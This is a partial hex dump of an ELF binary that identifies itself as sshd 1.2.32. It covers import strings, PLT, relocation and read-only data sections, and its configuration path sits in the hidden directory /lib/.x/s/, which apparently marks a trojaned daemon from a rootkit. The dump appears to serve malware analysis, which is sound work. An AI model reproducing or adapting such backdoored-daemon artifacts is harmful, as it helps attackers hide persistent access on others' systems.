08048d48   dd040000 fca20408 3d000000 12000000    ........=.......
08048d58   a4010000 0ca30408 8f000000 12000000    ................
08048d68   ff030000 1ca30408 a5010000 12000000    ................
08048d78   bd040000 2ca30408 ae000000 12000000    ....,...........
08048d88   0d040000 3ca30408 3d010000 12000000    ....<...=.......
08048d98   97040000 4ca30408 f5000000 12000000    ....L...........
08048da8   45020000 5ca30408 a6030000 12000000    E...\...........
08048db8   6f030000 6ca30408 29000000 12000000    o...l...).......
08048dc8   31020000 7ca30408 64000000 12000000    1...|...d.......
08048dd8   54050000 8ca30408 ff000000 12000000    T...............
08048de8   74000000 9ca30408 3d000000 12000000    t.......=.......
08048df8   95030000 aca30408 45000000 12000000    ........E.......
08048e08   01010000 109c0708 04000000 11001700    ................
08048e18   bd000000 bca30408 3a000000 12000000    ........:.......
08048e28   d3020000 149c0708 04000000 11001700    ................
08048e38   3b030000 cca30408 7a000000 12000000    ........z.......
08048e48   a5040000 dca30408 98000000 12000000    ................
08048e58   fb030000 eca30408 37000000 12000000    ........7.......
08048e68   b3010000 189c0708 04000000 11001700    ................
08048e78   39000000 fca30408 69000000 12000000    9.......i.......
08048e88   1c000000 e4b50608 04000000 11000f00    ................
08048e98   5c030000 0ca40408 0c010000 12000000    \...............
08048ea8   ac020000 1ca40408 8f000000 12000000    ................
08048eb8   62020000 2ca40408 3b000000 12000000    b...,... ;......
08048ec8   04020000 3ca40408 2f000000 12000000    ....<.../.......
08048ed8   39040000 4ca40408 29000000 12000000    9...L...).......
08048ee8   72040000 5ca40408 3e010000 12000000    r...\...>.......
08048ef8   e2010000 6ca40408 3a000000 12000000    ....l...:.......
08048f08   11050000 7ca40408 aa000000 12000000    ....|...........
08048f18   cc020000 1c9c0708 04000000 11001700    ................
08048f28   f3020000 8ca40408 56000000 12000000    ........V.......
08048f38   b6030000 9ca40408 cf000000 12000000    ................
08048f48   14030000 aca40408 3d000000 12000000    ........=.......
08048f58   10020000 bca40408 37000000 12000000    ........7.......
08048f68   d9000000 cca40408 77000000 12000000    ........w.......
08048f78   d9020000 dca40408 27000000 12000000    ........'.......
08048f88   01000000 00000000 00000000 20000000    ............ ...
08048f98   65000000 eca40408 1f000000 12000000    e...............


   ; -----------------------------------
   ; Contents of section .dynstr:

08048fa8   005f5f67 6d6f6e5f 73746172 745f5f00    .__gmon_start__.
08048fb8   6c69626e 736c2e73 6f2e3100 5f494f5f    libnsl.so.1._IO_
08048fc8   73746469 6e5f7573 6564006c 69626372    stdin_used.libcr
08048fd8   7970742e 736f2e31 00637279 7074006c    ypt.so.1.crypt.l
08048fe8   69627574 696c2e73 6f2e3100 6c6f6777    ibutil.so.1.logw
08048ff8   746d7000 6c6c6f67 7574006c 6962632e    tmp.logout.libc.
08049008   736f2e36 00737472 63707900 77616974    so.6.strcpy.wait
08049018   70696400 696f6374 6c007075 74757478    pid.ioctl.pututx
08049028   6c696e65 0063686f 776e0067 65747569    line.chown.getui
08049038   64007072 696e7466 00737464 6f757400    d.printf.stdout.
08049048   72616e64 6f6d0063 66676574 6f737065    random.cfgetospe
08049058   65640069 73617374 7265616d 00636f6e    ed.isastream.con
08049068   6e656374 00676574 75747865 6e6e6500    nect.getutxent.
08049078   73747265 72726f72 00676574 65756964    strerror.geteuid
08049088   006d656d 6d6f7665 00736e70 72696e74    .memmove.snprint
08049098   66006765 74677267 69640074 696d6573    f.getgrgid.times
080490a8   005f5f63 74797065 5f620067 6574656e    .__ctype_b.geten
080490b8   76007365 74757478 656e7400 5f5f7374    v.setutxent.__st
```

```
080490c8   72746f6c 5f696e74 65726e61 6c006578   rtol_internal.ex
080490d8   65637665 00676574 70726f74 6f62796e   ecve.getprotobyn
080490e8   616d6500 67657470 69640070 64647774   ame.getpid.updwt
080490f8   6d707800 66676574 73006d65 6d637079   mpx.fgets.memcpy
08049108   0070636c 6f736500 70657272 6f72005f   .pclose.perror._
08049118   5f637861 5f66696e 616c697a 65006475   _cxa_finalize.du
08049128   70320067 65747569 64006d61 6c6c6f63   p2.getuid.malloc
08049138   0072656d 6f766500 63666765 74697370   .remove.cfgetisp
08049148   65656400 656e6470 77656e74 00736c65   eed.endpwent.sle
08049158   6570006f 70746172 67007673 6e707269   ep.optarg.vsnpri
08049168   6e746600 656e6475 7478656e 74006765   ntf.endutxent.ge
08049178   74686f73 74627961 64647200 726d6469   thostbyaddr.rmdi
08049188   7200736f 636b6574 0073656c 65637400   r.socket.select.
08049198   6c736565 6b007365 74706769 64006162   lseek.setpgid.ab
080491a8   6f727400 67657470 74006368 6d6f6400   ort.getpt.chmod.
080491b8   616c6172 6d00706f 70656e00 70697065   alarm.popen.pipe
080491c8   005f5f6c 78737461 74006163 63657074   .__lxstat.accept
080491d8   00636673 65746973 70656564 00737472   .cfsetispeed.str
080491e8   72636872 0063616c 6c6f6300 77726974   rchr.calloc.writ
080491f8   6500656e 7669726f 6e006670 72696e74   e.environ.fprint
08049208   66006b69 6c6c0063 74696d65 00737472   f.kill.ctime.str
08049218   63617400 62696e64 00696e65 745f6164   cat.bind.inet_ad
08049228   6472005f 5f646572 65676973 7465725f   dr.__deregister_
08049238   6672616d 655f696e 666f0063 68646972   frame_info.chdir
08049248   00696e69 7467726f 75707300 656e6467   .initgroups.endg
08049258   72656e74 00736574 736f636b 6f707400   rent.setsockopt.
08049268   63667365 746f7370 65656400 6f707469   cfsetospeed.opti
08049278   6e640073 7464696e 00776169 7400756d   nd.stdin.wait.um
08049288   61736b00 696e6e65 74677200 66657272   ask.innetgr.ferr
08049298   6f720075 6e6c6f63 6b707400 67657475   or.unlockpt.getu
080492a8   7478656e 74007365 74676964 00736967   txent.setgid.sig
080492b8   6e616c00 72656164 00676574 73706e61   nal.read.getspna
080492c8   6d006f70 656e6c6f 6700636c 6f73656c   m.openlog.closel
080492d8   6f670073 74726e63 6d700073 74726e63   og.strncmp.strnc
080492e8   70790075 6e6c696e 6b006765 74727573   py.unlink.getrus
080492f8   61676500 7265616c 6c6f6300 73747274   age.realloc.strt
08049308   6f6b006c 69737465 6e00666f 726b0073   ok.listen.fork.s
08049318   7363616e 6600656e 64686f73 74656e74   scanf.endhostent
08049328   00676574 74696d65 6f666461 79006765   .gettimeofday.ge
08049338   746f7074 006d656d 73657400 6772616e   topt.memset.gran
08049348   74707400 696e6574 5f6e746f 61006765   tpt.inet_ntoa.ge
08049358   74707069 64007463 67657461 74747200   tppid.tcgetattr.
08049368   74696d65 005f5f61 73736572 745f6661   time.__assert_fa
08049378   696c0073 79736c6f 67007074 736e616d   il.syslog.ptsnam
08049388   65007374 72636d70 00736875 74646f77   e.strcmp.shutdow
08049398   6e006765 74707775 69640064 75702e67   n.getpwuid.dup.g
080493a8   65746870 73746279 6e616d65 00676574   ethostbyname.get
080493b8   70776e61 6d00656e 64737065 6e740067   pwnam.endspent.g
080493c8   65747365 72766279 6e616d65 00676574   etservbyname.get
080493d8   686f7374 6e616d65 00737072 696e7466   hostname.sprintf
080493e8   0066636c 6f736500 67657470 6565726e   .fclose.getpeern
080493f8   616d6500 73746465 72720072 72726f72   ame.stderr.error
08049408   00667075 74630067 6574736f 636b6f70   .fputc.getsockop
08049418   74006677 72697465 005f5f78 73746174   t.fwrite.__xstat
08049428   005f5f65 72726e6f 5f6c6f63 6174696f   .__errno_locatio
08049438   6e006c69 6e6b0065 78697400 67657467   n.link.exit.getg
08049448   726e616d 00666f70 656e0066 696c656e   rnam.fopen.filen
08049458   6f00656e 64736572 76656e74 00737472   o.endservent.str
08049468   73706e00 6461656d 6f6e005f 5f6c6962   spn.daemon.__lib
08049478   635f7374 6172745f 6d61696e 006f7065   c_start_main.ope
08049488   6e007668 616e6775 7000636c 6f636b00   n.vhangup.clock.
08049498   73747263 68720066 70757473 00657865   strchr.fputs.exe
080494a8   63767000 73657473 69640066 636e746c   cvp.setsid.fcntl
080494b8   00736574 75696400 74637365 74617474   .setuid.tcsetatt
080494c8   72006d6b 64697200 5f5f6374 7970655f   r.mkdir.__ctype_
080494d8   746f6c6f 77657200 5f5f7265 67697374   tolower.__regist
080494e8   65725f66 72616d65 5f696e66 6f00636c   er_frame_info.cl
080494f8   6f736500 66726565 005f5f65 6e766972   ose.free.__envir
08049508   6f6e005f 656e7669 726f6e00 474c4942   on._environ.GLIB
08049518   435f322e 3000474c 4942435f 322e312e   C_2.0.GLIBC_2.1.
08049528   3300474c 4942435f 322e3100            3.GLIBC_2.1.
```

```
; ---------------------------------
; Contents of section .gnu.version:
```

```
08049534   00000200 03000300 03000200 02000300   ................
08049544   03000400 03000200 03000300 03000300   ................
08049554   03000300 03000300 03000300 03000300   ................
08049564   02000300 03000300 03000300 03000300   ................
08049574   03000300 03000300 03000300 03000300   ................
08049584   03000300 03000300 03000300 03000300   ................
08049594   03000300 02000200 03000300 03000300   ................
080495a4   03000300 03000300 03000300 03000300   ................
```

```
080495b4   02000300 03000200 03000300 03000300      ................
080495c4   04000300 02000300 03000300 03000300      ................
080495d4   03000300 03000300 03000300 03000300      ................
080495e4   03000300 03000300 03000300 02000300      ................
080495f4   03000300 02000300 03000300 03000300      ................
08049604   03000300 03000300 03000200 03000300      ................
08049614   03000300 03000300 01000300 05000300      ................
08049624   03000300 03000300 03000300 03000300      ................
08049634   03000300 03000300 03000300 03000300      ................
08049644   03000200 03000300 06000100 03000300      ................
08049654   03000200 03000300 03000300 03000200      ................
08049664   03000300 03000300 03000000 0300          ..............
```

```
   ; ----------------------------------
   ; Contents of section .gnu.version_r:
```

```
08049674   01000100 2b000000 10000000 20000000      ....+....... ...
08049684   1069690d 00000600 6c050000 00000000      .ii.....l.......
08049694   01000100 3f000000 10000000 20000000      ....?....... ...
080496a4   1069690d 00000400 6c050000 00000000      .ii.....l.......
080496b4   01000300 5b000000 10000000 00000000      ....[...........
080496c4   731f6909 00000500 76050000 10000000      s.i.....v.......
080496d4   1069690d 00000300 6c050000 10000000      .ii.....l.......
080496e4   1169690d 00000200 82050000 00000000      .ii............
```

```
   ; ----------------------------------
   ; Contents of section .rel.got:
```

```
080496f4   449b0708 069d0000                        D.......
```

```
   ; ----------------------------------
   ; Contents of section .rel.bss:
```

```
080496fc   009c0708 050a0000 089c0708 05450000      .............E..
0804970c   0c9c0708 05460000 049c0708 05630000      .....F.......c..
0804971c   109c0708 05850000 149c0708 05870000      ................
0804972c   189c0708 058b0000 1c9c0708 05960000      ................
```

```
   ; ----------------------------------
   ; Contents of section .rel.plt:
```

```
0804973c   00990708 07010000 04990708 07020000      ................
0804974c   08990708 07030000 0c990708 07040000      ................
0804975c   10990708 07050000 14990708 07060000      ................
0804976c   18990708 07070000 1c990708 07080000      ................
0804977c   20990708 07090000 24990708 070b0000       .......$.......
0804978c   28990708 070c0000 2c990708 070d0000      (.......,.......
0804979c   30990708 070e0000 34990708 070f0000      0.......4.......
080497ac   38990708 07100000 3c990708 07110000      8.......<.......
080497bc   40990708 07120000 44990708 07130000      @.......D.......
080497cc   48990708 07140000 4c990708 07150000      H.......L.......
080497dc   50990708 07160000 54990708 07170000      P.......T.......
080497ec   58990708 07180000 5c990708 07190000      X.......\.......
080497fc   60990708 071a0000 64990708 071b0000      `.......d.......
0804980c   68990708 071c0000 6c990708 071d0000      h.......l.......
0804981c   70990708 071e0000 74990708 071f0000      p.......t.......
0804982c   78990708 07200000 7c990708 07210000      x..... ..|....!..
0804983c   80990708 07220000 84990708 07230000      ....."........#..
0804984c   88990708 07240000 8c990708 07250000      .....$.......%..
0804985c   90990708 07260000 94990708 07270000      .....&.......'..
0804986c   98990708 07290000 9c990708 072a0000      .....).......*..
0804987c   a0990708 072b0000 a4990708 072c0000      .....+.......,..
0804988c   a8990708 072d0000 ac990708 072e0000      .....-.......-..
0804989c   b0990708 072f0000 b4990708 07300000      ...../.......0..
080498ac   b8990708 07310000 bc990708 07320000      .....1.......2..
080498bc   c0990708 07330000 c4990708 07340000      .....3.......4..
080498cc   c8990708 07350000 cc990708 07360000      .....5.......6..
080498dc   d0990708 07370000 d4990708 07380000      .....7.......8..
080498ec   d8990708 07390000 dc990708 073a0000      .....9.......:..
080498fc   e0990708 073b0000 e4990708 073c0000      .....;.......<..
0804990c   e8990708 073d0000 ec990708 073e0000      .....=.......>..
0804991c   f0990708 073f0000 f4990708 07400000      .....?.......@..
0804992c   f8990708 07410000 fc990708 07420000      .....A.......B..
0804993c   009a0708 07430000 049a0708 07440000      .....C.......D..
0804994c   089a0708 07470000 0c9a0708 07480000      .....G.......H..
0804995c   109a0708 07490000 149a0708 074a0000      .....I.......J..
0804996c   189a0708 074b0000 1c9a0708 074c0000      .....K.......L..
0804997c   209a0708 074d0000 249a0708 074e0000       ....M..$....N..
0804998c   289a0708 074f0000 2c9a0708 07500000      (....O..,....P..
0804999c   309a0708 07510000 349a0708 07520000      0....Q..4....R..
```

```
080499ac   389a0708  07530000  3c9a0708  07540000    8....S..<....T..
080499bc   409a0708  07550000  449a0708  07560000    @....U..D....V..
080499cc   489a0708  07570000  4c9a0708  07580000    H....W..L....X..
080499dc   509a0708  07590000  549a0708  075a0000    P....Y..T....Z..
080499ec   589a0708  075b0000  5c9a0708  075c0000    X....[..\....\..
080499fc   609a0708  075d0000  649a0708  075e0000    `....]..d....^..
08049a0c   689a0708  075f0000  6c9a0708  07600000    h...._..l....`..
08049a1c   709a0708  07610000  749a0708  07620000    p....a..t....b..
08049a2c   789a0708  07640000  7c9a0708  07650000    x....d..|....e..
08049a3c   809a0708  07660000  849a0708  07670000    .....f.......g..
08049a4c   889a0708  07680000  8c9a0708  07690000    .....h.......i..
08049a5c   909a0708  076a0000  949a0708  076b0000    .....j.......k..
08049a6c   989a0708  076d0000  9c9a0708  076e0000    .....m.......n..
08049a7c   a09a0708  076f0000  a49a0708  07700000    .....o.......p..
08049a8c   a89a0708  07710000  ac9a0708  07720000    .....q.......r..
08049a9c   b09a0708  07730000  b49a0708  07750000    .....s.......u..
08049aac   b89a0708  07760000  bc9a0708  07770000    .....v.......w..
08049abc   c09a0708  07780000  c49a0708  07790000    .....x.......y..
08049acc   c89a0708  077a0000  cc9a0708  077b0000    .....z.......{..
08049adc   d09a0708  077c0000  d49a0708  077d0000    .....|.......}..
08049aec   d89a0708  077e0000  dc9a0708  077f0000    .....~.........
08049afc   e09a0708  07800000  e49a0708  07810000    ...............
08049b0c   e89a0708  07820000  ec9a0708  07830000    ...............
08049b1c   f09a0708  07840000  f49a0708  07860000    ...............
08049b2c   f89a0708  07880000  fc9a0708  07890000    ...............
08049b3c   009b0708  078a0000  049b0708  078c0000    ...............
08049b4c   089b0708  078e0000  0c9b0708  078f0000    ...............
08049b5c   109b0708  07900000  149b0708  07910000    ...............
08049b6c   189b0708  07920000  1c9b0708  07930000    ...............
08049b7c   209b0708  07940000  249b0708  07950000    .......$.......
08049b8c   289b0708  07970000  2c9b0708  07980000    (.......,.......
08049b9c   309b0708  07990000  349b0708  079a0000    0.......4.......
08049bac   389b0708  079b0000  3c9b0708  079c0000    8.......<.......
08049bbc   409b0708  079e0000                        @.......
```

```
   ; --------------------------------
   ; Contents of section .init:

08049bc4   5589e583  ec08e855  09000090  e8eb0900    U......U........
08049bd4   00e8a619  0200c9c3                        ........
```

```
   ; --------------------------------
   ; Contents of section .plt:

08049bdc   ff35f898  0708ff25  fc980708  00000000    .5.....%........
08049bec   ff250099  07086800  000000e9  e0ffffff    .%....h.........
08049bfc   ff250499  07086808  000000e9  d0ffffff    .%....h.........
08049c0c   ff250899  07086810  000000e9  c0ffffff    .%....h.........
08049c1c   ff250c99  07086818  000000e9  b0ffffff    .%....h.........
08049c2c   ff251099  07086820  000000e9  a0ffffff    .%....h ........
08049c3c   ff251499  07086828  000000e9  90ffffff    .%....h(........
08049c4c   ff251899  07086830  000000e9  80ffffff    .%....h0........
08049c5c   ff251c99  07086838  000000e9  70ffffff    .%....h8....p...
08049c6c   ff252099  07086840  000000e9  60ffffff    .% ...h@....`...
08049c7c   ff252499  07086848  000000e9  50ffffff    .%$...hH....P...
08049c8c   ff252899  07086850  000000e9  40ffffff    .%(...hP....@...
08049c9c   ff252c99  07086858  000000e9  30ffffff    .%,...hX....0...
08049cac   ff253099  07086860  000000e9  20ffffff    .%0...h`.... ...
08049cbc   ff253499  07086868  000000e9  10ffffff    .%4...hh........
08049ccc   ff253899  07086870  000000e9  00ffffff    .%8...hp........
08049cdc   ff253c99  07086878  000000e9  f0feffff    .%<...hx........
08049cec   ff254099  07086880  000000e9  e0feffff    .%@...h.........
08049cfc   ff254499  07086888  000000e9  d0feffff    .%D...h.........
08049d0c   ff254899  07086890  000000e9  c0feffff    .%H...h.........
08049d1c   ff254c99  07086898  000000e9  b0feffff    .%L...h.........
08049d2c   ff255099  070868a0  000000e9  a0feffff    .%P...h.........
08049d3c   ff255499  070868a8  000000e9  90feffff    .%T...h.........
08049d4c   ff255899  070868b0  000000e9  80feffff    .%X...h.........
08049d5c   ff255c99  070868b8  000000e9  70feffff    .%\...h......p...
08049d6c   ff256099  070868c0  000000e9  60feffff    .%`...h.....`...
08049d7c   ff256499  070868c8  000000e9  50feffff    .%d...h.....P...
08049d8c   ff256899  070868d0  000000e9  40feffff    .%h...h.....@...
08049d9c   ff256c99  070868d8  000000e9  30feffff    .%l...h.....0...
08049dac   ff257099  070868e0  000000e9  20feffff    .%p...h..... ...
08049dbc   ff257499  070868e8  000000e9  10feffff    .%t...h.........
08049dcc   ff257899  070868f0  000000e9  00feffff    .%x...h.........
08049ddc   ff257c99  070868f8  000000e9  f0fdffff    .%|...h.........
08049dec   ff258099  07086800  010000e9  e0fdffff    .%....h.........
08049dfc   ff258499  07086808  010000e9  d0fdffff    .%....h.........
08049e0c   ff258899  07086810  010000e9  c0fdffff    .%....h.........
08049e1c   ff258c99  07086818  010000e9  b0fdffff    .%....h.........
08049e2c   ff259099  07086820  010000e9  a0fdffff    .%....h ........
```

```
08049e3c   ff259499 07086828 010000e9 90fdffff    .%....h(........
08049e4c   ff259899 07086830 010000e9 80fdffff    .%....h0........
08049e5c   ff259c99 07086838 010000e9 70fdffff    .%....h8....p...
08049e6c   ff25a099 07086840 010000e9 60fdffff    .%....h@....`...
08049e7c   ff25a499 07086848 010000e9 50fdffff    .%....hH....P...
08049e8c   ff25a899 07086850 010000e9 40fdffff    .%....hP....@...
08049e9c   ff25ac99 07086858 010000e9 30fdffff    .%....hX....0...
08049eac   ff25b099 07086860 010000e9 20fdffff    .%....h`.... ...
08049ebc   ff25b499 07086868 010000e9 10fdffff    .%....hh........
08049ecc   ff25b899 07086870 010000e9 00fdffff    .%....hp........
08049edc   ff25bc99 07086878 010000e9 f0fcffff    .%....hx........
08049eec   ff25c099 07086880 010000e9 e0fcffff    .%....h.........
08049efc   ff25c499 07086888 010000e9 d0fcffff    .%....h.........
08049f0c   ff25c899 07086890 010000e9 c0fcffff    .%....h.........
08049f1c   ff25cc99 07086898 010000e9 b0fcffff    .%....h.........
08049f2c   ff25d099 070868a0 010000e9 a0fcffff    .%....h.........
08049f3c   ff25d499 070868a8 010000e9 90fcffff    .%....h.........
08049f4c   ff25d899 070868b0 010000e9 80fcffff    .%....h.........
08049f5c   ff25dc99 070868b8 010000e9 70fcffff    .%....h.....p...
08049f6c   ff25e099 070868c0 010000e9 60fcffff    .%....h.....`...
08049f7c   ff25e499 070868c8 010000e9 50fcffff    .%....h.....P...
08049f8c   ff25e899 070868d0 010000e9 40fcffff    .%....h.....@...
08049f9c   ff25ec99 070868d8 010000e9 30fcffff    .%....h.....0...
08049fac   ff25f099 070868e0 010000e9 20fcffff    .%....h.... ...
08049fbc   ff25f499 070868e8 010000e9 10fcffff    .%....h.........
08049fcc   ff25f899 070868f0 010000e9 00fcffff    .%....h.........
08049fdc   ff25fc99 070868f8 010000e9 f0fbffff    .%....h.........
08049fec   ff25009a 07086800 020000e9 e0fbffff    .%....h.........
08049ffc   ff25049a 07086808 020000e9 d0fbffff    .%....h.........
0804a00c   ff25089a 07086810 020000e9 c0fbffff    .%....h.........
0804a01c   ff250c9a 07086818 020000e9 b0fbffff    .%....h.........
0804a02c   ff25109a 07086820 020000e9 a0fbffff    .%....h ........
0804a03c   ff25149a 07086828 020000e9 90fbffff    .%....h(........
0804a04c   ff25189a 07086830 020000e9 80fbffff    .%....h0........
0804a05c   ff251c9a 07086838 020000e9 70fbffff    .%....h8....p...
0804a06c   ff25209a 07086840 020000e9 60fbffff    .% ...h@....`...
0804a07c   ff25249a 07086848 020000e9 50fbffff    .%$...hH....P...
0804a08c   ff25289a 07086850 020000e9 40fbffff    .%(...hP....@...
0804a09c   ff252c9a 07086858 020000e9 30fbffff    .%,...hX....0...
0804a0ac   ff25309a 07086860 020000e9 20fbffff    .%0...h`.... ...
0804a0bc   ff25349a 07086868 020000e9 10fbffff    .%4...hh........
0804a0cc   ff25389a 07086870 020000e9 00fbffff    .%8...hp........
0804a0dc   ff253c9a 07086878 020000e9 f0faffff    .%<...hx........
0804a0ec   ff25409a 07086880 020000e9 e0faffff    .%@...h.........
0804a0fc   ff25449a 07086888 020000e9 d0faffff    .%D...h.........
0804a10c   ff25489a 07086890 020000e9 c0faffff    .%H...h.........
0804a11c   ff254c9a 07086898 020000e9 b0faffff    .%L...h.........
0804a12c   ff25509a 070868a0 020000e9 a0faffff    .%P...h.........
0804a13c   ff25549a 070868a8 020000e9 90faffff    .%T...h.........
0804a14c   ff25589a 070868b0 020000e9 80faffff    .%X...h.........
0804a15c   ff255c9a 070868b8 020000e9 70faffff    .%\...h.....p...
0804a16c   ff25609a 070868c0 020000e9 60faffff    .%`...h.....`...
0804a17c   ff25649a 070868c8 020000e9 50faffff    .%d...h.....P...
0804a18c   ff25689a 070868d0 020000e9 40faffff    .%h...h.....@...
0804a19c   ff256c9a 070868d8 020000e9 30faffff    .%l...h.....0...
0804a1ac   ff25709a 070868e0 020000e9 20faffff    .%p...h.... ...
0804a1bc   ff25749a 070868e8 020000e9 10faffff    .%t...h.........
0804a1cc   ff25789a 070868f0 020000e9 00faffff    .%x...h.........
0804a1dc   ff257c9a 070868f8 020000e9 f0f9ffff    .%|...h.........
0804a1ec   ff25809a 07086800 030000e9 e0f9ffff    .%....h.........
0804a1fc   ff25849a 07086808 030000e9 d0f9ffff    .%....h.........
0804a20c   ff25889a 07086810 030000e9 c0f9ffff    .%....h.........
0804a21c   ff258c9a 07086818 030000e9 b0f9ffff    .%....h.........
0804a22c   ff25909a 07086820 030000e9 a0f9ffff    .%....h ........
0804a23c   ff25949a 07086828 030000e9 90f9ffff    .%....h(........
0804a24c   ff25989a 07086830 030000e9 80f9ffff    .%....h0........
0804a25c   ff259c9a 07086838 030000e9 70f9ffff    .%....h8....p...
0804a26c   ff25a09a 07086840 030000e9 60f9ffff    .%....h@....`...
0804a27c   ff25a49a 07086848 030000e9 50f9ffff    .%....hH....P...
0804a28c   ff25a89a 07086850 030000e9 40f9ffff    .%....hP....@...
0804a29c   ff25ac9a 07086858 030000e9 30f9ffff    .%....hX....0...
0804a2ac   ff25b09a 07086860 030000e9 20f9ffff    .%....h`.... ...
0804a2bc   ff25b49a 07086868 030000e9 10f9ffff    .%....hh........
0804a2cc   ff25b89a 07086870 030000e9 00f9ffff    .%....hp........
0804a2dc   ff25bc9a 07086878 030000e9 f0f8ffff    .%....hx........
0804a2ec   ff25c09a 07086880 030000e9 e0f8ffff    .%....h.........
0804a2fc   ff25c49a 07086888 030000e9 d0f8ffff    .%....h.........
0804a30c   ff25c89a 07086890 030000e9 c0f8ffff    .%....h.........
0804a31c   ff25cc9a 07086898 030000e9 b0f8ffff    .%....h.........
0804a32c   ff25d09a 070868a0 030000e9 a0f8ffff    .%....h.........
0804a33c   ff25d49a 070868a8 030000e9 90f8ffff    .%....h.........
0804a34c   ff25d89a 070868b0 030000e9 80f8ffff    .%....h.........
0804a35c   ff25dc9a 070868b8 030000e9 70f8ffff    .%....h.....p...
0804a36c   ff25e09a 070868c0 030000e9 60f8ffff    .%....h.....`...
```

```
0804a37c   ff25e49a 070868c8 030000e9 50f8ffff    .%....h.....P...
0804a38c   ff25e89a 070868d0 030000e9 40f8ffff    .%....h.....@...
0804a39c   ff25ec9a 070868d8 030000e9 30f8ffff    .%....h.....0...
0804a3ac   ff25f09a 070868e0 030000e9 20f8ffff    .%....h..... ...
0804a3bc   ff25f49a 070868e8 030000e9 10f8ffff    .%....h.........
0804a3cc   ff25f89a 070868f0 030000e9 00f8ffff    .%....h.........
0804a3dc   ff25fc9a 070868f8 030000e9 f0f7ffff    .%....h.........
0804a3ec   ff25009b 07086800 040000e9 e0f7ffff    .%....h.........
0804a3fc   ff25049b 07086808 040000e9 d0f7ffff    .%....h.........
0804a40c   ff25089b 07086810 040000e9 c0f7ffff    .%....h.........
0804a41c   ff250c9b 07086818 040000e9 b0f7ffff    .%....h.........
0804a42c   ff25109b 07086820 040000e9 a0f7ffff    .%....h .......
0804a43c   ff25149b 07086828 040000e9 90f7ffff    .%....h(.......
0804a44c   ff25189b 07086830 040000e9 80f7ffff    .%....h0.......
0804a45c   ff251c9b 07086838 040000e9 70f7ffff    .%....h8....p...
0804a46c   ff25209b 07086840 040000e9 60f7ffff    .% ...h@....`...
0804a47c   ff25249b 07086848 040000e9 50f7ffff    .%$...hH....P...
0804a48c   ff25289b 07086850 040000e9 40f7ffff    .%(...hP....@...
0804a49c   ff252c9b 07086858 040000e9 30f7ffff    .%,...hX....0...
0804a4ac   ff25309b 07086860 040000e9 20f7ffff    .%0...h`.... ...
0804a4bc   ff25349b 07086868 040000e9 10f7ffff    .%4...hh.......
0804a4cc   ff25389b 07086870 040000e9 00f7ffff    .%8...hp.......
0804a4dc   ff253c9b 07086878 040000e9 f0f6ffff    .%<...hx.......
0804a4ec   ff25409b 07086880 040000e9 e0f6ffff    .%@...h.........


   ; --------------------------------
   ; Contents of section .fini:

0806b5c0   5589e553 52e80000 00005b81 c32ae300    U..SR.....[..*..
0806b5d0   008d7600 e877effd ff8b5dfc c9c3        ..v..w....]...


   ; --------------------------------
   ; Contents of section .rodata:

0806b5e0   03000000 01000200 00000000 00000000    ................
0806b5f0   00000000 00000000 00000000 00000000    ................
0806b600   2f6c6962 2f2e782f 732f7373 68645f63    /lib/.x/s/sshd_c
0806b610   6f6e6669 67005265 63656976 65642053    onfig.Received S
0806b620   49474855 503b2072 65737461 7274696e    IGHUP ; restartin
0806b630   672e0000 00000000 00000000 00000000    g...............
0806b640   52455354 41525420 4641494c 45443a20    RESTART FAILED:
0806b650   61765b30 5d3d2725 2e313030 73272c20    av[0]='%.100s',
0806b660   6572726f 723a2025 2e313030 732e0000    error: %.100s...
0806b670   00000000 00000000 00000000 00000000    ................
0806b680   52656365 69766564 20736967 6e616c20    Received signal
0806b690   25643b20 7465726d 696e6174 696e672e    %d ; terminating.
0806b6a0   00000000 00000000 00000000 00000000    ................
0806b6b0   00000000 00000000 00000000 00000000    ................
0806b6c0   54696d65 6f757420 6265666f 72652061    Timeout before a
0806b6d0   75746865 6e746963 6174696f 6e2e0000    uthentication...
0806b6e0   47656e65 72617469 6e67206e 65772025    Generating new %
0806b6f0   64206269 74205253 41206b65 792e2e52    d bit RSA key..R
0806b700   5341206b 65792067 656e6572 6174696f    SA key generatio
0806b710   6e20636f 6d706c65 74652e00 663a703a    n complete..f:p:
0806b720   623a6b3a 683a673a 64697156 3a006935    b:k:h:g:diqV:.i5
0806b730   38362d75 6e6b6e6f 776e2d6c 696e7578    86-unknown-linux
0806b740   00312e32 2e333200 73736864 20766572    .1.2.32.sshd ver
0806b750   73696f6e 20257320 5b25735d 0a005573    sion %s [%s]..Us
0806b760   6167653a 20257320 5b6f7074 696f6e73    age: %s [options
0806b770   5d0a004f 7074696f 6e733a0a 002f6c69    ]..Options:../li
0806b780   622f2e78 2f730000 00000000 00000000    b/.x/s..........
0806b790   00000000 00000000 00000000 00000000    ................
0806b7a0   20202d66 2066696c 65202020 20436f6e     -f file    Con
0806b7b0   66696775 72617469 6f6e2066 696c6520    figuration file
0806b7c0   28646566 61756c74 2025732f 73736864    (default %s/sshd
0806b7d0   5f636f6e 66696729 0a002020 2d642020    _config)..  -d
0806b7e0   20202020 20202044 65627567 67696e67           Debugging
0806b7f0   206d6f64 650a0000 00000000 00000000     mode...........
0806b800   20202d69 20202020 20202020 20537461     -i         Sta
0806b810   72746564 2066726f 6d20696e 6574640a    rted from inetd.
0806b820   00000000 00000000 00000000 00000000    ................
0806b830   00000000 00000000 00000000 00000000    ................
0806b840   20202d71 20202020 20202020 20517569     -q         Qui
0806b850   65742028 6e6f206c 6f676769 6e67290a    et (no logging).
0806b860   00000000 00000000 00000000 00000000    ................
0806b870   00000000 00000000 00000000 00000000    ................
0806b880   20202d70 20706f72 74202020 204c6973     -p port    Lis
0806b890   74656e20 6f6e2074 68652073 70656369    ten on the speci
0806b8a0   66696564 20706f72 74202864 65666175    fied port (defau
0806b8b0   6c743a20 3232290a 00000000 00000000    lt: 22).........
0806b8c0   20202d6b 20736563 6f6e6473 20526567     -k seconds Reg
0806b8d0   656e6572 61746520 73657276 6572206b    enerate server k
```

```
0806b8e0   65792065 76657279 20746869 73206d61   ey every this ma
0806b8f0   6e792073 65636f6e 64732028 64656661   ny seconds (defa
0806b900   756c743a 20333630 30290a00 00000000   ult: 3600)......
0806b910   00000000 00000000 00000000 00000000   ................
0806b920   20202d67 20736563 6f6e6473 20477261     -g seconds Gra
0806b930   63652070 6572696f 6420666f 72206175   ce period for au
0806b940   7468656e 74696361 74696f6e 20286465   thentication (de
0806b950   6661756c 743a2033 3030290a 00000000   fault: 300).....
0806b960   20202d62 20626974 73202020 2053697a     -b bits    Siz
0806b970   65206f66 20736572 76657220 52534120   e of server RSA
0806b980   6b657920 28646566 61756c74 3a203736   key (default: 76
